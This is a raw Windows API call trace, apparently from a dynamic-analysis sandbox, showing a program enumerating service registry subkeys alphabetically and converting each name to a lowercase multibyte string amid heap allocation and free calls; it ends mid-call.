[0246.485] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.485] RegEnumKeyW (in: hKey=0x154, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0246.485] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.485] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0246.485] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.485] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f19b8, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0246.485] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0246.485] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.485] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0246.485] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.485] RegEnumKeyW (in: hKey=0x154, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0246.485] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.485] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0246.485] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0246.485] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0246.485] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.485] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0246.485] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.485] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.485] RegEnumKeyW (in: hKey=0x154, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0246.485] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.485] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0246.485] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.485] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f19b8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0246.485] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0246.485] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.485] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0246.485] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.485] RegEnumKeyW (in: hKey=0x154, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0246.485] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.485] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0246.486] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0246.486] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1bf8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0246.486] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.486] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0246.486] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.486] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.486] RegEnumKeyW (in: hKey=0x154, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0246.486] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.486] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0246.486] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.486] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f19b8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0246.486] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0246.486] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.486] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0246.486] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.486] RegEnumKeyW (in: hKey=0x154, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0246.486] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.486] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0246.486] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0246.486] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0246.486] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.486] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0246.486] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.486] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.486] RegEnumKeyW (in: hKey=0x154, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0246.486] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.486] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0246.486] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.486] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f19b8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0246.486] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0246.486] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.486] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0246.486] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.486] RegEnumKeyW (in: hKey=0x154, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0246.487] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.487] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0246.487] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0246.487] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0246.487] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.487] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0246.487] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.487] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.487] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0246.487] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.487] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0246.487] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.487] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f19b8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0246.487] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0246.487] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.487] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0246.487] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.487] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0246.487] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.487] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0246.487] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0246.487] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0246.487] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.487] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0246.487] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.487] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.487] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0246.487] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.487] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0246.487] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.487] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f19b8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0246.488] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0246.488] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.488] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0246.488] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.488] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0246.488] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.488] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0246.488] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0246.488] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1bf8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0246.488] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.488] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0246.488] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.488] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.488] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0246.488] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.488] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0246.488] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.488] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f19b8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0246.488] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0246.488] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.488] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0246.488] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.488] RegEnumKeyW (in: hKey=0x154, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0246.488] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.488] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0246.488] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0246.488] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0246.488] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.488] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0246.488] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.488] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.488] RegEnumKeyW (in: hKey=0x154, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0246.489] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.489] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0246.489] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.489] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f19b8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0246.489] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0246.489] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.489] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0246.489] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.489] RegEnumKeyW (in: hKey=0x154, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0246.489] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.489] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0246.489] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0246.489] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0246.489] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.489] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0246.489] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.489] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.489] RegEnumKeyW (in: hKey=0x154, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0246.489] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.489] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0246.489] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.489] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x21f19b8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltup", lpUsedDefaultChar=0x0) returned 8 [0246.489] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0246.489] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.489] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0246.489] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.489] RegEnumKeyW (in: hKey=0x154, dwIndex=0x33, lpName=0x2152850, cchName=0x104 | out: lpName="Browser") returned 0x0 [0246.489] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.489] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0246.489] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0246.489] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="browser", cchWideChar=7, lpMultiByteStr=0x21f1bf8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="browser", lpUsedDefaultChar=0x0) returned 7 [0246.489] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.489] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0246.490] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.490] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.490] RegEnumKeyW (in: hKey=0x154, dwIndex=0x34, lpName=0x2152850, cchName=0x104 | out: lpName="Brserid") returned 0x0 [0246.490] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.490] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0246.490] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.490] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserid", cchWideChar=7, lpMultiByteStr=0x21f19b8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserid", lpUsedDefaultChar=0x0) returned 7 [0246.490] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0246.490] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.490] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0246.490] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.490] RegEnumKeyW (in: hKey=0x154, dwIndex=0x35, lpName=0x2152850, cchName=0x104 | out: lpName="BrSerWdm") returned 0x0 [0246.490] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.490] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0246.490] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0246.490] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brserwdm", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brserwdm", lpUsedDefaultChar=0x0) returned 8 [0246.490] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.490] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0246.490] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0246.490] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0246.490] RegEnumKeyW (in: hKey=0x154, dwIndex=0x36, lpName=0x2152850, cchName=0x104 | out: lpName="BrUsbMdm") returned 0x0 [0246.490] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0246.490] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brusbmdm", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0246.490] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f19b8 [0246.490] WideCharToMultiByte (in: CodePage=0x0, 